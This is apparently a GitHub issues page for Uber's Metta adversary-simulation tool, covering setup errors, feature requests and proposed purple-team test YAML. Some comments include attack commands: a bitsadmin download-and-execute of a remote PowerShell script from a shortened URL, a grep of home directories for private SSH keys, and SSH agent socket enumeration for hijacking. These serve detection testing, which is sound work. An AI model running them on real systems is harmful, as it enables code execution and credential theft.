uber-common / metta Goto Github PK

Still looking into this, but can this be integrated to a SIEM?

I tested the action in the metta/MITRE/Execution/execution_win_bitsadmin.yml on Win10, Win8, Win 7
You can change with this:

cmd.exe /c bitsadmin.exe /transfer mimi /Download /priority high http://bit.ly/2fMPgDz C:\Tools\Default_File_Path.ps1; cmd.exe /c powershell C:\Tools\Default_File_Path.ps1

Because current version is just working on Win8. Not working on Win10 and Win7.

ensure run_simulation can handle if someone put "True" or "true" for the scenario field

Doesnt look like metta works with python3 yet. get that working

Hi,

May i know is Metta able to do remote attacks , for example , from Kali to victim machine or from Kali it allows executing commands on victim machine ?

Thank you.

Regards,
Sulaiman

Below is my proposal for SSH Hijacking for lateral movement.

enabled: true
meta:
author: paragonsec
created: 2018-03-22
decorations:

• Purple Team
  description: Lateral Movement with SSH Agent Hijacking
  link: https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking
  mitre_link: https://attack.mitre.org/wiki/Technique/T1184
  mitre_attack_phase: Lateral Movement
  mitre_attack_technique: Lateral Movement with SSH Agent Hijacking
  purple_actions:
  1: grep ~/.ssh/config -e ForwardAgent > ssh_config.txt
  2: ps ef |grep -i -e "ssh-agent" > ssh_process.txt
  3: cat /proc/*/environ |tr -s '\0' '\n' | grep SSH_AUTH_SOCK |sort -u 2>/dev/null > ssh_agent.txt
  os: linux
  name: Lateral Movement with SSH Agent Hijacking

If you are getting this error, you may disable it globally using following after imports statements:

"yaml.warnings({'YAMLLoadWarning': False})"

I'd like to add a Kali type to the stable of available vagrant targets. It would be easy to extend the logic for selecting the appropriate Vagrant target/control type for a 4th type, but I prefer to keep the framework as maintained rather than forking it or having to maintain changes. This would be used to perform network-based controls tests using common attack tools already installed in Kali. I'd prefer to keep our Linux system as it is normally built and instrumented rather than putting a bunch of extra stuff on it.

Thoughts?

hi guys,

Thanks for releasing a great tool!!

Can I please ask if there were any design reasons you went for the 3 celery tasks, one for each platform, instead of having one and distinguishing there were to route the request ? It appears that most of the code in celery tasks vagranttasks.py and on therun_uuidmethod ( if rule_os == "windows": ...) is the same. Just wondering.

Cheers

(metta) ➜ metta git:(master) ✗ ./start_vagrant_celery.sh Usage: celery [OPTIONS] COMMAND [ARGS]...

Error: Invalid value for '-A' / '--app': No module named 'config'
(metta) ➜ metta git:(master) ✗

I believe I have followed setup instructions but something has caused it to error in a weird way.

Metta should be able to take a list of ATT&CK T-numbers and execute baseline actions that correspond to those T-numbers.

Why? it could then read in the T numbers assigned to any APT group from: https://attack.mitre.org/wiki/Groups (or the json that supports that data in unfetter)

and then execute those actions.

Wishlist; your pentest group could provide you a list of things they did by T-number and you could reproduce in your environment via Metta

Just a note in case anyone finds themselves here looking for help or updates - I no longer work at Uber and don't have commit access to the repo - :-/

AFAIK no one is maintaining the project

Below is my proposal to add ssh key search on Linux that falls in line with credential access on MITRE ATT&CK.

enabled: true
meta:
author: paragonsec
created: 2018-03-22
decorations:

• Purple Team
  description: Search for SSH Keys
  mitre_link: https://attack.mitre.org/wiki/Technique/T1145
  mitre_attack_phase: Credential Access
  mitre_attack_technique: Search for SSH Keys
  purple_actions:
  1: grep /home/ -irw -e "BEGIN RSA PRIVATE" 2>/dev/null > rsa_keys.txt
  2: grep /home/ -irw -e "BEGIN DSA PRIVATE" 2>/dev/null > dsa_keys.txt
  os: linux
  name: Search for SSH Keys

During the integration of metta with my simulation platform I noticed that there are several metta config files that have the incorrect mitre_attack_technique mapping to the actual MITRE technique name. Perhaps MITRE made small changes to their model :) It involves the following differences (ie. wrong mitre_attack_technique vs correct mitre names):

mitre_attack_technique: System Owner-User Discovery
mitre: System Owner/User Discovery

mitre_attack_technique: Registry Run Keys / Start Folder
mitre: Registry Run Keys / Startup Folder

mitre_attack_technique: Lateral Movement with SSH Agent Hijacking
mitre: SSH Hijacking

mitre_attack_technique: Powershell
mitre: PowerShell

mitre_attack_technique: Cron Job
mitre: Local Job Scheduling

test and freeze pip lib requirements

Hello,
I do all the steps for the installation, but i have issue with the Vagrant vm, so my question is :

• What is the path which i should past it in the file "config.ini", knowing that i install this vagrant vm in the VirtualBox : https://app.vagrantup.com/StefanScherer/boxes/windows_10.
  PS: I have two VM one is ubuntu 18 LTS which the project was deployed and the vagrant windows machine.

Below is the yaml file that could be added to add search functionality for setuid and setgid. This could also be ported to Mac.

enabled: true
meta:
author: paragonsec
created: 2018-03-22
decorations:

• Purple Team
  description: Find setuid and setgid binaries
  mitre_link: https://attack.mitre.org/wiki/Technique/T1166
  mitre_attack_phase: Privilege Escalation
  mitre_attack_technique: File System setguid and setgid binaries
  purple_actions:
  1: find / -perm -2000 -o -perm -4000 -ls 2>/dev/null
  2: find / -perm -2000 2>/dev/null
  2: find / -perm -4000 2>/dev/null
  os: linux
  name: Find setuid and setgid binaries

change yaml parsing engine to parse RC's atomic testing yaml format

ref: https://github.com/redcanaryco/atomic-red-team/blob/yaml-cs/atomics/spec.yaml

since RC has lots of support and time to dev - create a branch that will support RC's yaml format.

ideally this will take over as the go-to format

Just so others don't waste a day or so on this like I did - make sure that virtualenv is picking up your Python 2.7 environment and not your 3.X one. I'm setting this up on a system running macOS and that has multiple Python environments. Base 'virtualenv metta' was pulling my Brew installed Python 3.6 environment while it seems Metta either requires 2.7 or just doesn't like my 3.6 build.

Running:

virtualenv --python=<path to preferred python> metta

fixed the issue.

Recommendation - Make note in setup/README that Metta requires Python 2.7 (if this is indeed the case) or make note that if you are getting import errors on workers.vagranttasks or BaseConfig (which is where my problems were) you should declare a different Python environment when creating the virtualenv.